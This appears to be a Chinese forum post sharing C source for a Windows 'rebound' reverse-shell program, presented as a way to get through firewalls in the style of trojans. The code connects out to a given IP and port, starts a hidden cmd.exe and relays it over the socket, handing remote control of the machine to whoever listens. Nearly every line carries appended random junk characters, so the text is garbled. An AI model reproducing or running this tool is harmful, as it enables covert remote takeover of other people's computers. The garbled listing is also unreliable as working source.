这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |\N))K-2D
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/* ============================== R!2E`^{Wl
Rebound port in Windows NT vpoJ{TPO
By wind,2006/7 14yzGhA
===============================*/ {$'oKJy*
#include dyt.(2
#include )pw53,7>aN
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#pragma comment(lib,"wsock32.lib") !$#8Z".{v{
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void OutputShell(); Z+
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SOCKET sClient; ]Mj N)%hT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #./8inbG
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void main(int argc,char **argv) TchByN6oN<
{ ,ZvlKN
WSADATA stWsaData; Zi.w+V
int nRet; }kMKA.O"
SOCKADDR_IN stSaiClient,stSaiServer; BHDd^bd
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if(argc != 3) 9KMtPBZ
{ ._(5; PB"
printf("Useage:\n\rRebound DestIP DestPort\n"); :CG;:( |
return; 9C| -|mo
} i"#zb&~nF
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WSAStartup(MAKEWORD(2,2),&stWsaData); L4{+@T1A[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c6LPqPcN
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stSaiClient.sin_family = AF_INET; PB!*&T'!
stSaiClient.sin_port = htons(0); #w;%{C[D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?]0bR]}y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p0C|ECH
{ \0z<@)r+AJ
printf("Bind Socket Failed!\n"); ~4M?[E&
return; )<_:%oB
} >C/O >g
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stSaiServer.sin_family = AF_INET; !6eF8T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P;ovPyoO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >{#QS"J#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M$2lK^2L
{ h
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printf("Connect Error!"); n hGh5,
return; 90!67Ap`x
} dA$qzQ
OutputShell(); Hw~?%g:<S
} "K#zY~>L
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void OutputShell() AP(%m';
{ _hi8mo
char szBuff[1024]; nfS.0\z
SECURITY_ATTRIBUTES stSecurityAttributes; a<&GsDw
OSVERSIONINFO stOsversionInfo; DQ= /Jr~
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $J]o\~Z J
STARTUPINFO stStartupInfo; Og(|bs!6
char *szShell; 8Xz \,}$O
PROCESS_INFORMATION stProcessInformation; =yLJGNK[
unsigned long lBytesRead; fk(h*L|sI
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /xkF9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a f UOIM
stSecurityAttributes.lpSecurityDescriptor = 0; =X=m_\=~@
stSecurityAttributes.bInheritHandle = TRUE; h|[oQ8)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3zo:)N \K
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7oZtbBs]M
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l&uBEYx
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~3qt<"
stStartupInfo.wShowWindow = SW_HIDE; n{xL1A=9
stStartupInfo.hStdInput = hReadPipe; ZUaqv
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @JpkG%eK
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GetVersionEx(&stOsversionInfo); .@3bz
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switch(stOsversionInfo.dwPlatformId) x^/453Lk
{ aui3Mq#f
case 1: #iP5@:!Wm~
szShell = "command.com"; OQh4MN#$
break; 4,?ZNyl
default: K1m'20U
szShell = "cmd.exe"; UGK,+FN
break; |TCg`ZS`cZ
} Qi\"b
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); = K3NKPUI
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send(sClient,szMsg,77,0);
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while(1) tqicyNL
{ R]"3^k*
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &KVXU0F^z
if(lBytesRead) 0p1~!X=I
{ 5FwVR3,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L3y`*&e>
send(sClient,szBuff,lBytesRead,0); i=X
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}
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else s.XLC43Rs
{ @V qI+5TA
lBytesRead=recv(sClient,szBuff,1024,0); _q3|Ddm2LN
if(lBytesRead<=0) break; .|<+-Rsj
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~oE@y6Q
} t B Kra
} OmAa$L,'w
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return; ]j57Gk%z
}